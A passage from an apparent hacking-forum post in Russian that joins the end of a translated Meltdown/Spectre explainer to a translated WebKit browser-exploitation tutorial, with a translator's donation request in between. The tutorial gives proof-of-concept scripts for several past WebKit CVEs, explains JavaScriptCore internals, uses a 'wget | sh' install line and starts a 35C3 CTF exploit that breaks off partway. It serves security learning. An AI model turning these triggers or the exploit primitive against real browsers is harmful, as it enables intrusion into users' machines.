Со временем я ожидал бы, что процессоры в конечном итоге перейдут на модель «всегда включен» IBRS, где аппаратное обеспечение по умолчанию очищает разделение предикторов ветвления между потоками ЦП и корректно сбрасывает состояние при изменении уровня привилегий. Единственная причина, по которой это не было бы сделано сегодня, - это очевидные затраты производительности при установке этой функциональности на уже выпущенные микроархитектуры с помощью обновлений микрокода.
Заключение
Очень редко результаты исследований в корне меняют способ сборки и работы компьютеров. Meltdown и Spectre сделали именно это. Эти результаты существенно изменят дизайн аппаратного и программного обеспечения в течение следующих 7–10 лет (следующий цикл аппаратного обеспечения ЦП), поскольку разработчики принимают во внимание новую реальность возможностей утечки данных через побочные каналы кэша.
Между тем, результаты Meltdown и Spectre и связанные с ними меры будут иметь существенные последствия для пользователей компьютеров на долгие годы. В ближайшем будущем меры по снижению воздействия будут оказывать существенное влияние на производительность в зависимости от рабочей нагрузки и конкретного оборудования. Это может потребовать изменений в работе некоторых инфраструктур (например, в Lyft мы агрессивно переносим некоторые рабочие нагрузки на экземпляры AWS C5 из-за того, что IBRS работает значительно быстрее на процессорах Skylake, а [новый гипервизор Nitro](http://www.brendangregg.com/blog/2017-11-29/aws- ec2-virtualization-2017.html) доставляет прерывания непосредственно гостям, использующим [SR -IOV](https://en.wikipedia.org/wiki/Single- root_input/output_virtualization) и [APICv](https://software.intel.com/en- us/blogs/2013/12/17/apic-virtualization-performance-testing-and-iozone), удаление многих выходов виртуальной машины для IO тяжелых рабочих нагрузок). Пользователи настольных компьютеров также не застрахованы из-за проверок атаки браузера с использованием JavaScript, которые ОС и поставщики браузеров работают над тем, чтобы смягчить их. Кроме того, из-за сложности уязвимостей почти наверняка исследователи в области безопасности найдут новые эксплойты, не охваченные текущими мерами защиты, которые необходимо будет исправлять.
Хотя я люблю работать в Lyft и чувствую, что работа, которую мы выполняем в области инфраструктуры микросервисных систем, является одной из наиболее эффективных работ, выполняемых в отрасли сейчас, подобные события заставляют меня скучать по работе с операционными системами и гипервизорами. Я чрезвычайно завидую героической работе, проделанной за последние шесть месяцев огромным количеством людей в области исследования и смягчения уязвимостей. Я бы хотел быть частью этого!
Это был мой первый перевод статьей для XSS, а предложил мне её
weaver . И того более 4.000 слов в данной статье, которые
я попытался перевести для вас.
Если вы хотите меня поддержать, то можете задонатить мне на QIWI кошелёк
79054863063 на поездку в Польшу с классом (Да, я ещё школьник) или же купить
Nord VPN в моей теме: https://xss.is/threads/30205/
Оригинальная статья: <https://medium.com/@mattklein123/meltdown-spectre-
explained-6bc8634cc0c2>
Text and Picture translate by neopaket
Это была достаточно сложная статья для перевода. У фраз, в правильности перевода которых я не уверен будет указан оригинальный текст.
Предисловие
Безопасность бинарных приложений - это не только
куча
и стек, нам еще
многое предстоит открыть, несмотря на обычную проблему CTF. Браузер,
виртуальная машина и ядро играют важную роль в безопасности бинарных
приложений. И я решил сначала изучить браузер.
Я выбираю относительно простой - WebKit. (ChakraCore может быть проще, LoL. Но ходят слухи о том, что Microsoft отменяет проект. Поэтому я решил не выбирать его).
Я напишу серию постов, чтобы записать свои заметки при изучении WebKitsecurity. Также я впервые изучаю безопасность браузера, поэтому мои сообщения, вероятно, будут содержать много ошибок. Если вы заметили их, не стесняйтесь обращаться ко мне за исправлениями.
Прежде чем читать это, вам нужно знать:
Настройка
Хорошо, давайте начнем сейчас.
Виртуальная машина
Во-первых, нам нужно установить виртуальную машину в качестве цели для
тестирования. Здесь я выбираю Ubuntu 18.04 LTS и Ubuntu 16.04 LTS как наш
целевой хост. Ее вы можете скачать здесь. Если я не
указываю версию, пожалуйста, используйте версию 18.04 LTS по умолчанию.
Mac может быть более подходящим выбором, поскольку у него есть XCode и Safari. Учитывая высокое потребление ресурсов MacOS и нестабильное обновление, я бы предпочел использовать Ubuntu.
Нам нужно программное обеспечение VM. Я предпочитаю использовать VMWare. Parallel Desktop и VirtualBox (бесплатно) тоже подойдут, это зависит от вашей личной привычки.
Я не буду рассказывать вам, как шаг за шагом установить Ubuntu на VMWare. Тем не менее, я все еще должен напомнить вам о том, что надо выделить как можно больше памяти и ядер процессора, поскольку компиляция потребляет огромное количество ресурсов. 80 ГБ диска должно быть достаточно для хранения исходного кода и скомпилированных файлов.
Исходный код
Вы можете скачать исходный код WebKit тремя способами: git, svn и archive.
Менеджер версий WebKit по умолчанию - svn. Но я выбираю git:
git clone git://git.webkit.org/WebKit.git WebKit
Отладчик и редактор
IDE потребляет много ресурсов, поэтому я использую vim для редактирования
исходного кода.
Большинство отладочных работ, которые я видел, используют lldb, с которым я не знаком. Поэтому я также устанавливаю GDB с плагином Gef.
Code:Copy to clipboard
sudo apt install vim gdb lldb
wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh
Тестируем
Компиляция JavaScriptCore
Компиляция полного WebKit занимает много времени. В настоящее время мы
компилируем только JSC (JavaScript Core), в котором больше всего уязвимостей.
Теперь вы должны находиться в корневом каталоге исходного кода WebKit. Запустите это, чтобы подготовить зависимости:
Tools/gtk/install-dependencies
Несмотря на то, что мы до сих пор не скомпилировали полный WebKit, вы можете сначала установить оставшиеся зависимости для будущего тестирования. Этот шаг не требуется при компиляции JSC, если вы не хотите тратить слишком много времени:
Tools/Scripts/update-webkitgtk-libs
После этого мы можем составить JSC:
Tools/Scripts/build-webkit --jsc-only
Через пару минут мы можем запустить JSC:
WebKitBuild/Release/bin/jsc
Давайте сделаем несколько тестов:
Code:Copy to clipboard
>>> 1+1
2
>>> var obj = {a:1, b:"test"}
undefined
>>> JSON.stringify(obj)
{"a":1,"b":"test"}
Ошибки
Ubuntu 18.04 LTS здесь
Click to expand...
Мы используем [CVE-2018-4416](https://bugs.chromium.org/p/project- zero/issues/detail?id=1652) для тестирования, вот PoC. Сохраните его в poc.js в той же папке jsc:
Code:Copy to clipboard
function gc() {
for (let i = 0; i < 10; i++) {
let ab = new ArrayBuffer(1024 * 1024 * 10);
}
}
function opt(obj) {
// Starting the optimization.
for (let i = 0; i < 500; i++) {
}
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) { // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
tmp.__proto__ = {};
gc();
obj.__proto__ = {}; // The structure ID of "obj" equals to tmp's.
return obj[k]; // Type confusion.
}
}
opt({});
let fake_object_memory = new Uint32Array(100);
fake_object_memory[0] = 0x1234;
let fake_object = opt(fake_object_memory);
print(fake_object);
Сначала переключитесь на уязвимую версию:
git checkout -b CVE-2018-4416 034abace7ab
Это может потратить даже больше времени, чем компиляция)
Click to expand...
Запустите: ./jsc poc.js, и мы получаем:
Code:Copy to clipboard
ASSERTION FAILED: structureID < m_capacity
../../Source/JavaScriptCore/runtime/StructureIDTable.h(129) : JSC::Structure* JSC::StructureIDTable::get(JSC::StructureID)
1 0x7f055ef18c3c WTFReportBacktrace
2 0x7f055ef18eb4 WTFCrash
3 0x7f055ef18ec4 WTFIsDebuggerAttached
4 0x5624a900451c JSC::StructureIDTable::get(unsigned int)
5 0x7f055e86f146 bool JSC::JSObject::getPropertySlot<true>(JSC::ExecState*, JSC::PropertyName, JSC::PropertySlot&)
6 0x7f055e85cf64
7 0x7f055e846693 JSC::JSObject::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const
8 0x7f055e7476bb JSC::JSCell::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const
9 0x7f055e745ac8 JSC::JSValue::toStringSlowCase(JSC::ExecState*, bool) const
10 0x5624a900b3f1 JSC::JSValue::toString(JSC::ExecState*) const
11 0x5624a8fcc3a9
12 0x5624a8fcc70c
13 0x7f05131fe177
Illegal instruction (core dumped)
Если мы запустим это в последней версии (git checkout master для отката и удаления содержимого сборки rm -rf WebKitBuild/Relase/* и rm -rf WebKitBuild/Debug/*):
Code:Copy to clipboard
./jsc poc.js
WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory will be disabled.
OK
undefined
=================================================================
==96575==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 96 byte(s) in 3 object(s) allocated from:
#0 0x7fe1f579e458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458)
#1 0x7fe1f2db7cc8 in __gnu_cxx::new_allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocator<std::mutex> >, std::allocator<std::mutex>, (__gnu_cxx::_Lock_policy)2> >::allocate(unsigned long, void const*) (/home/browserbox/WebKit/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x5876cc8)
#2 0x7fe1f2db7a7a in std::allocator_traits<std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocator<std::mutex> >, std::allocator<std::mutex>, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex,
... // lots of error message
SUMMARY: AddressSanitizer: 216 byte(s) leaked in 6 allocation(s).
Мы получили ошибку!
Я не собираюсь объяснять причину ошибки (сам не знаю). Надеюсь, мы сможем выяснить причину через несколько недель
Понимание уязвимостей WebKit
Теперь пришло время обсудить что-то более глубокое. Прежде чем мы начнем
говорить об архитектуре WebKit, давайте выясним типичные ошибки в WebKit.
Здесь я обсуждаю только ошибки, связанные с двоичным уровнем. Некоторые ошибки более высокого уровня, такие как URL Spoof или UXSS, не являются нашей темой. Примеры ниже не просто из WebKit. Некоторые ошибки Chrome. Мы представим кратко. И проанализируем PoC конкретно позже.
Перед прочтением этой части настоятельно рекомендуем прочитать некоторые материалы по теории компилятора. Базовые знания Pwn также должны быть изучены. Мое объяснение не ясно. Опять исправьте мои ошибки, если найдете.
Этот пост будет обновляться несколько раз, так как мое понимание в JSC становится глубже.
(Заголовки не переведены для сохранения изначального значения)
1. Use After Free
A.k.a UAF. Это часто встречается в вызове CTF, при классическом сценарии(a
classical scenario):
Code:Copy to clipboard
char* a = malloc(0x100);
free(a);
printf("%s", a);
Из-за некоторых логических ошибок. Код будет повторно использовать освобожденную память. Обычно, мы можем редактировать её(leak or write), как только мы контролируем освобожденную память.
CVE-2017-13791 это пример для WebKit UAF. Вот PoC:
Code:Copy to clipboard
<script>
function jsfuzzer() {
textarea1.setRangeText("foo");
textarea2.autofocus = true;
textarea1.name = "foo";
form.insertBefore(textarea2, form.firstChild);
form.submit();
}
function eventhandler2() {
яfor(var i=0;i<100;i++) {
var e = document.createElement("input");
form.appendChild(e);
}
}
</script>
<body onload=jsfuzzer()>
<form id="form" onchange="eventhandler2()">
<textarea id="textarea1">a</textarea>
<object id="object"></object>
<textarea id="textarea2">b</textarea>
2. Out of Bound
A.k.a OOB. Это как переполнение в браузере. Тем не менее, мы можем читать /
писать рядом с памятью. OOB часто происходит при ложной оптимизации массива
или при недостаточной проверке.
Например([CVE-2017-2447](https://bugs.chromium.org/p/project-
zero/issues/detail?id=1033)):
Code:Copy to clipboard
var ba;
function s(){
ba = this;
}
function dummy(){
alert("just a function");
}
Object.defineProperty(Array.prototype, "0", {set : s });
var f = dummy.bind({}, 1, 2, 3, 4);
ba.length = 100000;
f(1, 2, 3);
Когда вызывается Function.bind, аргументы вызова передаются в массив, прежде чем они будут переданы в JSBoundFunction :: JSBoundFunction. Поскольку возможно, что к прототипу Array был добавлен установщик, пользовательский сценарий может получить ссылку на этот массив и изменить его так, чтобы длина была больше, чем у исходного массива-бабочки. Затем, когда boundFunctionCall пытается скопировать этот массив в параметры вызова, он предполагает, что длина не длиннее выделенного массива (что было бы истинно, если бы он не был изменен), и считывает за пределами.
Click to expand...
В большинстве случаев. мы не можем напрямую перезаписать регистр $RIP. Авторы эксплойтов всегда создают поддельный массив, чтобы превратить частичную R / W в произвольную R / W.
3. Type Confusion
Это особая уязвимость, которая возникает в приложениях с компилятором. И эту
ошибку немного сложно объяснить.
Представьте, что у нас есть следующий объект (32 бита):
Code:Copy to clipboard
struct example{
int length;
char *content;
}
Затем, если у нас есть length == 5 с content указателя содержимого в памяти, он, вероятно, будет выглядеть следующим образом:
Code:Copy to clipboard
0x00: 0x00000005 -> length
0x04: 0xdeadbeef -> pointer
После того, как у нас есть другой объект:
Code:Copy to clipboard
struct exploit{
int length;
void (*exp)();
}
Мы можем заставить компилятор анализировать example объекта как объект exploit. Мы можем превратить функцию exp в произвольный адрес и RCE.
Пример для смешения типов:
Code:Copy to clipboard
var q;
function g(){
q = g.caller;
return 7;
}
var a = [1, 2, 3];
a.length = 4;
Object.defineProperty(Array.prototype, "3", {get : g});
[4, 5, 6].concat(a);
q(0x77777777, 0x77777777, 0);
Цитируется из [CVE-2017-2446](https://bugs.chromium.org/p/project- zero/issues/detail?id=1032)
Если встроенный скрипт в webkit находится в строгом режиме, но затем вызывает функцию, которая не является строгой, этой функции разрешается вызывать Function.caller и она может получить ссылку на строгую функцию.
Click to expand...
4. Integer Overflow
Целочисленное переполнение также распространено в CTF. Хотя целочисленное
переполнение само по себе не может привести к RCE, оно, вероятно, приводит к
OOB.
Нетрудно понять эту ошибку. Представьте, что вы работаете под кодом на 32-битной машине:
Code:Copy to clipboard
mov eax, 0xffffffff
add eax, 2
Потому что максимум eax равен 0xffffffff. Невозможно связаться с 0xffffffff + 2 = 0x100000001. Таким образом, старший байт будет переполнен (исключен). Окончательный результат eax - 0x00000001.
Это пример из WebKit(CVE-2017-2536):
Code:Copy to clipboard
var a = new Array(0x7fffffff);
var x = [13, 37, ...a, ...a];
Длина не проверена правильно, в результате мы можем переполнить длину, расширив массив до старого. Затем мы можем использовать обширный массив для OOB.
Click to expand...
5. Остальное
Некоторые ошибки трудно классифицировать:
Я объясню их подробно позже.
В глубине JavaScriptCore
Webkit в первую очередь включает в себя:
И JSC имеет:
Этот пост может быть неточным или неправильным в объяснении механизмов WebKit.
Если вы изучили курсы по теории компиляции, лексер и парсер такие же, как и те, которые преподаются на уроках. Но компиляция кода разочаровывает. У него есть один интерпретатор и три компилятора, WTF? У JSC также есть много других нетрадиционных особенностей, давайте посмотрим:
Представление значения в JSC
Для облегчения идентификации значения JSC представляется по-разному:
0x0, однако это недопустимое значение и может привести к сбою.
JSC Object Model
В отличие от Java, в котором есть константы(fix class member), JavaScript
позволяет людям добавлять свойства в любое время.
Таким образом, несмотря на (1traditionally statically align properties), в JSC есть (butterfly pointer) для добавления динамических свойств. Это как дополнительный массив. Давайте объясним это в нескольких ситуациях.
Кроме того, JSArray всегда будет выделяться из-за(butterfly pointer), так как они изменяются динамически.
Мы можем легко понять концепцию с помощью следующего графика:
0x0 Fast JSObject
Свойства инициализируются:
var o = {f: 5, g: 6};
(Butterfly pointer) здесь будет нулевым, поскольку у нас есть только статические свойства:
Code:Copy to clipboard
--------------
|structure ID|
--------------
| indexing |
--------------
| type |
--------------
| flags |
--------------
| call state |
--------------
| NULL | --> Butterfly Pointer
--------------
| 0xffff000 | --> 5 in JS format
| 000000005 |
--------------
| 0xffff000 |
| 000000006 | --> 6 in JS format
--------------
Давайте расширим наши знания о JSObject. Как мы видим, каждый structure ID имеет таблицу соответствия структуры. Внутри таблицы он содержит имена свойств и их смещения. В нашем предыдущем объекте o таблица выглядит следующим образом:
property name| location
---|---
“f”| inline(0)
“g”| inline(1)
Когда мы хотим получить значение (например, var v = o.f), произойдет следующее поведение:
Code:Copy to clipboard
if (o->structureID == 42)
v = o->inlineStorage[0]
else
v = slowGet(o, “f”)
Вы можете задаться вопросом, почему компилятор будет напрямую получать значение через смещение, зная, что идентификатор равен 42. Это механизм, называется встроенным кэшированием, который помогает нам быстрее получить значение. Мы не будем много говорить об этом, нажмите [здесь](http://www.filpizlo.com/slides/pizlo-icooolps2018-inline-caches- slides.pdf) для получения более подробной информации.
0x1 JSObject с динамически добавленными полями
Code:Copy to clipboard
var o = {f: 5, g: 6};
o.h = 7;
Теперь у “butterfly” есть слот, который составляет 7. (Now, the butterfly has a slot, which is 7)
Code:Copy to clipboard
--------------
|structure ID|
--------------
| indexing |
--------------
| type |
--------------
| flags |
--------------
| call state |
--------------
| butterfly | -| -------------
-------------- | | 0xffff000 |
| 0xffff000 | | | 000000007 |
| 000000005 | | -------------
-------------- -> | ... |
| 0xffff000 |
| 000000006 |
--------------
0x2 JSArray с 3 элементами массива (0x2 JSArray with room for 3 array elements)
var a = [];
“The butterfly” инициализирует массив с предполагаемым размером. Первый элемент 0 означает количество используемых слотов. А 3 означает максимальное количество слотов:
Code:Copy to clipboard
--------------
|structure ID|
--------------
| indexing |
--------------
| type |
--------------
| flags |
--------------
| call state |
--------------
| butterfly | -| -------------
-------------- | | 0 |
| ------------- (8 bits for these two elements)
| | 3 |
-> -------------
| <hole> |
-------------
| <hole> |
-------------
| <hole> |
-------------
0x3 Объект с быстрыми свойствами и элементами массива
Code:Copy to clipboard
var o = {f: 5, g: 6};
o[0] = 7;
Мы заполнили элемент массива, поэтому 0 (используемые слоты) теперь увеличивается до 1:
Code:Copy to clipboard
--------------
|structure ID|
--------------
| indexing |
--------------
| type |
--------------
| flags |
--------------
| call state |
--------------
| butterfly | -| -------------
-------------- | | 1 |
| 0xffff000 | | -------------
| 000000005 | | | 3 |
-------------- -> -------------
| 0xffff000 | | 0xffff000 |
| 000000006 | | 000000007 |
-------------- -------------
| <hole> |
-------------
| <hole> |
-------------
0x4 Объект с быстрыми, динамическими свойствами и элементами массива
Code:Copy to clipboard
var o = {f: 5, g: 6};
o[0] = 7;
o.h = 8;
Новый элемент будет добавлен перед адресом указателя. Массивы расположены справа, а атрибуты - слева от указателя, как “крыло бабочки”:
Code:Copy to clipboard
--------------
|structure ID|
--------------
| indexing |
--------------
| type |
--------------
| flags |
--------------
| call state |
--------------
| butterfly | -| -------------
-------------- | | 0xffff000 |
| 0xffff000 | | | 000000008 |
| 000000005 | | -------------
-------------- | | 1 |
| 0xffff000 | | -------------
| 000000006 | | | 2 |
-------------- -> ------------- (pointer address)
| 0xffff000 |
| 000000007 |
-------------
| <hole> |
-------------
0x5 объект с динамическими свойствами и элементами массива
Code:Copy to clipboard
var o = new Date();
o[0] = 7;
o.h = 8;
Мы расширяем “butterfly” встроенным классом, статические свойства не изменяются:
Code:Copy to clipboard
--------------
|structure ID|
--------------
| indexing |
--------------
| type |
--------------
| flags |
--------------
| call state |
--------------
| butterfly | -| -------------
-------------- | | 0xffff000 |
| < C++ | | | 000000008 |
| State > | -> -------------
-------------- | 1 |
| < C++ | -------------
| State > | | 2 |
-------------- -------------
| 0xffff000 |
| 000000007 |
-------------
| <hole> |
-------------
Вывод типа
Контрольные точки
Контрольные точки могут быть в следующих случаях:
Когда происходят вышеуказанные ситуации, он проверит, оптимизирован ли этот участок кода. В WebKit это выглядит так:
Code:Copy to clipboard
class Watchpoint {
public:
virtual void fire() = 0;
};
Например, компилятор хочет оптимизировать 42.toString () до «42» (возвращать напрямую, а не использовать код для преобразования), он проверит, был ли он уже аннулирован. Затем, если он действителен, выберет участок кода и выполнит оптимизацию.
Компиляторы
0x0. LLInt
В самом начале интерпретатор сгенерирует шаблон байтового кода. Используйте
JVM в качестве примера для выполнения файла .class, который является другим
видом шаблона байтового кода. Байт-код помогает легче выполнить:
Code:Copy to clipboard
parser -> bytecompiler -> generatorfication
-> bytecode linker -> LLInt
0x1. Базовый JIT и шаблон байтового кода
Самый простой JIT, он будет генерировать шаблон байтового кода. Например, код
на javascript:
Code:Copy to clipboard
function foo(a, b)
{
return a + b;
}
Это байт-код IL, который более прост и более удобен для преобразования в asm:
Code:Copy to clipboard
[ 0] enter
[ 1] get_scope loc3
[ 3] mov loc4, loc3
[ 6] check_traps
[ 7] add loc6, arg1, arg2
[12] ret loc6
Кодовые сегменты 7 и 12 могут привести к DFG IL (о котором мы поговорим далее). Мы можем заметить, что он имеет много информации, связанной с типом при работе. В строке 4 код проверит, соответствует ли возвращаемый тип:
Code:Copy to clipboard
GetLocal(Untyped:@1, arg1(B<Int32>/FlushedInt32), R:Stack(6), bc#7);
GetLocal(Untyped:@2, arg2(C<BoolInt32>/FlushedInt32), R:Stack(7), bc#7);
ArithAdd(Int32:@23, Int32:@24, CheckOverflow, Exits, bc#7);
MovHint(Untyped:@25, loc6, W:SideState, ClobbersExit, bc#7, ExitInvalid);
Return(Untyped:@25, W:SideState, Exits, bc#12);
АСТ выглядит так:
Code:Copy to clipboard
+----------+
| return |
+----+-----+
|
|
+----+-----+
| add |
+----------+
| |
| |
v v
+--+---+ +-+----+
| arg1 | | arg2 |
+------+ +------+
0x2. DFG
Если JSC обнаруживает функцию, запущенную несколько раз. То он переходит на
следующий этап. На первом этапе герерируется байт-код. Таким образом, DFG-
анализатор анализирует байтовый код напрямую, что делает его менее абстрактным
и более простым для анализа. Затем DFG оптимизирует и сгенерирует код:
Code:Copy to clipboard
DFG bytecode parser -> DFG optimizer
-> DFG Backend
На этом этапе код выполняется много раз; и их типы данных постоянны. Проверка типа будет использовать OSR.
Представьте, что мы будем оптимизировать это:
Code:Copy to clipboard
int foo(int* ptr)
{
int w, x, y, z;
w = ... // lots of stuff
x = is_ok(ptr) ? *ptr : slow_path(ptr);
y = ... // lots of stuff
z = is_ok(ptr) ? *ptr : slow_path(ptr); return w + x + y + z;
}
В это:
Code:Copy to clipboard
int foo(int* ptr)
{
int w, x, y, z;
w = ... // lots of stuff
if (!is_ok(ptr))
return foo_base1(ptr, w);
x = *ptr;
y = ... // lots of stuff
z = *ptr;
return w + x + y + z;
}
Код будет работать быстрее, потому что ptr выполнит проверку типа только один раз. Если тип ptr всегда отличается, оптимизированный код работает медленнее из-за частых аварийных отключений. Таким образом, только когда код выполняется тысячи раз, браузер использует OSR для его оптимизации.
0x3. FLT
Если функция, выполняется сто или тысячи раз, то JIT будет использовать FLT.
Как и DFG, FLT будет повторно использовать шаблон байтового кода, но с более
глубокой оптимизацией:
Code:Copy to clipboard
DFG bytecode parser -> DFG optimizer
-> DFG-to-B3 lowering -> B3 Optimizer ->
Instruction Selection -> Air Optimizer ->
Air Backend
0x4. Подробнее об оптимизации
Давайте посмотрим на изменение IR на разных этапах оптимизации:
IR| Style| Example
---|---|---
Bytecode| High Level Load/Store| bitor dst, left, right
DFG| Medium Level Exotic SSA| dst: BitOr(Int32:mad:left, Int32:mad:right, ...)
B3| Low Level Normal SSA| Int32 @dst = BitOr(@left, @right)
Air| Architectural CISC| Or32 %src, %dest
Проверка типа постепенно устраняется. Вы можете понять, почему в браузере CVE так много путаницы типов. Кроме того, они все больше похожи на машинный код.
Как только проверка типа завершится неудачно, код вернется к предыдущему IR (например, проверка типа не удастся на этапе B3, компилятор вернется к DFG и выполнится на этом этапе).
Сборщик мусора (Сделать)
Куча JSC основана на GC. У объектов в куче будет счетчик с ссылками. GC будет
сканировать кучу, чтобы собрать ненужную память.
... все же, нужно больше материалов ...
Написание сценария для эксплуатации
Прежде чем мы начнем эксплуатировать ошибки, мы должны посмотреть, насколько
сложно написать эксплойт. Здесь мы сосредоточимся на написании кода эксплойта,
о самих уязвимостях рассказывать много я не буду.
Этот вызов - WebKit из 35c3 CTF. Вы можете скомпилировать двоичный файл WebKit (с инструкциями), скинуть на подготовленную виртуальную машину или получить код эксплойта здесь. Кроме того, MacOS Mojave (10.14.2) должна быть подготовлена в ВМ или на реальной машине (я думаю, что это не повлияет на сбои в различых версиях macOS, но примитив атаки может отличаться).
Запустите с помощью этой команды:
DYLD_LIBRARY_PATH=/Path/to/WebKid DYLD_FRAMEWORK_PATH=/Path/to/WebKid /Path/to/WebKid/MiniBrowser.app/Contents/MacOS/MiniBrowser
Не забудьте использовать ПОЛНЫЙ ПУТЬ. Иначе браузер вылетит
Click to expand...
Если вы работаете на локальной машине, не забудьте создать / flag1 для тестирования.
Анализ
Давайте посмотрим на патч:
Code:Copy to clipboard
diff --git a/Source/JavaScriptCore/runtime/JSObject.cpp b/Source/JavaScriptCore/runtime/JSObject.cpp
index 20fcd4032ce..a75e4ef47ba 100644
--- a/Source/JavaScriptCore/runtime/JSObject.cpp
+++ b/Source/JavaScriptCore/runtime/JSObject.cpp
@@ -1920,6 +1920,31 @@ bool JSObject::hasPropertyGeneric(ExecState* exec, unsigned propertyName, Proper
return const_cast<JSObject*>(this)->getPropertySlot(exec, propertyName, slot);
}
+static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset)
+{
+ ASSERT(isInlineOffset(offset) || isOutOfLineOffset(offset));
+
+ Structure* previous = structure->previousID();
+ if (!previous)
+ return false;
+
+ unsigned unused;
+ bool isLastAddedProperty = !isValidOffset(previous->get(vm, propertyName, unused));
+ if (!isLastAddedProperty)
+ return false;
+
+ RELEASE_ASSERT(Structure::addPropertyTransition(vm, previous, propertyName, attributes, offset) == structure);
+
+ if (offset == firstOutOfLineOffset && !structure->hasIndexingHeader(thisObject)) {
+ ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0);
+ thisObject->setButterfly(vm, nullptr);
+ }
+
+ thisObject->setStructure(vm, previous);
+
+ return true;
+}
+
// ECMA 8.6.2.5
bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName propertyName)
{
@@ -1946,18 +1971,21 @@ bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName proper
Structure* structure = thisObject->structure(vm);
- bool propertyIsPresent = isValidOffset(structure->get(vm, propertyName, attributes));
+ PropertyOffset offset = structure->get(vm, propertyName, attributes);
+ bool propertyIsPresent = isValidOffset(offset);
if (propertyIsPresent) {
if (attributes & PropertyAttribute::DontDelete && vm.deletePropertyMode() != VM::DeletePropertyMode::IgnoreConfigurable)
return false;
- PropertyOffset offset;
- if (structure->isUncacheableDictionary())
+ if (structure->isUncacheableDictionary()) {
offset = structure->removePropertyWithoutTransition(vm, propertyName, [] (const ConcurrentJSLocker&, PropertyOffset) { });
- else
- thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
+ } else {
+ if (!tryDeletePropertyQuickly(vm, thisObject, structure, propertyName, attributes, offset)) {
+ thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
+ }
+ }
- if (offset != invalidOffset)
+ if (offset != invalidOffset && (!isOutOfLineOffset(offset) || thisObject->butterfly()))
thisObject->locationForOffset(offset)->clear();
}
diff --git a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in
index 536481ecd6a..62189fea227 100644
--- a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in
+++ b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in
@@ -25,6 +25,12 @@
(deny default (with partial-symbolication))
(allow system-audit file-read-metadata)
+(allow file-read* (literal "/flag1"))
+
+(allow mach-lookup (global-name "net.saelo.shelld"))
+(allow mach-lookup (global-name "net.saelo.capsd"))
+(allow mach-lookup (global-name "net.saelo.capsd.xpc"))
+
#if PLATFORM(MAC) && __MAC_OS_X_VERSION_MIN_REQUIRED < 101300
(import "system.sb")
#else
Самая большая проблема здесь связана с функцией tryDeletePropertyQuickly, которая действовала следующим образом:
Code:Copy to clipboard
static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset)
{
// This assert will always be true as long as we're not passing an "invalid" offset
ASSERT(isInlineOffset(offset) || isOutOfLineOffset(offset));
// Try to get the previous structure of this object
Structure* previous = structure->previousID();
if (!previous)
return false; // If it has none, stop here
unsigned unused;
// Check if the property we're deleting is the last one we added
// This must be the case if the old structure doesn't have this property
bool isLastAddedProperty = !isValidOffset(previous->get(vm, propertyName, unused));
if (!isLastAddedProperty)
return false; // Not the last property? Stop here and remove it using the normal way.
// Assert that adding the property to the last structure would result in getting the current structure
RELEASE_ASSERT(Structure::addPropertyTransition(vm, previous, propertyName, attributes, offset) == structure);
// Uninteresting. Basically, this just deletes this objects Butterfly if it's not an array and we're asked to delete the last out-of-line property. The Butterfly then becomes useless because no property is stored in it, so we can delete it.
if (offset == firstOutOfLineOffset && !structure->hasIndexingHeader(thisObject)) {
ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0);
thisObject->setButterfly(vm, nullptr);
}
// Directly set the structure of this object
thisObject->setStructure(vm, previous);
return true;
}
Короче говоря, один объект вернется к предыдущему идентификатору структуры, удалив ранее добавленный объект. Например:
Code:Copy to clipboard
var o = [1.1, 2.2, 3.3, 4.4];
// o is now an object with structure ID 122.
o.property = 42;
// o is now an object with structure ID 123. The structure is a leaf (has never transitioned)
function helper() {
return o[0];
}
jitCompile(helper); // Running helper function many times
// In this case, the JIT compiler will choose to use a watchpoint instead of runtime checks
// when compiling the helper function. As such, it watches structure 123 for transitions.
delete o.property;
// o now "went back" to structure ID 122. The watchpoint was not fired.
Давайте сначала рассмотрим некоторые знания. В JSC у нас есть проверки типов во время выполнения и точка наблюдения для обеспечения правильного преобразования типов. После многократного запуска функции, JSC не будет использовать проверку структуры. Вместо этого он заменит его на watchpoint. Когда объект модифицируется, браузер должен активировать watchpoint, чтобы уведомить об этом изменении откат к интерпретатору JS и сгенерировать новый код JIT.
Здесь восстановление предыдущего идентификатора не вызовет watchpoint, хотя структура изменилась, что означает, что структура (butterfly pointer) также будет изменена. Однако код JIT, сгенерированный помощником, не будет восстановлен, поскольку watchpoint не сработал, что приводит к путанице типов. И код JIT все еще может получить доступ к устаревшей структуре «бабочки». Мы можем создавать поддельные объекты.
Это минимальный примитив атаки:
Code:Copy to clipboard
haxxArray = [13.37, 73.31];
haxxArray.newProperty = 1337;
function returnElem() {
return haxxArray[0];
}
function setElem(obj) {
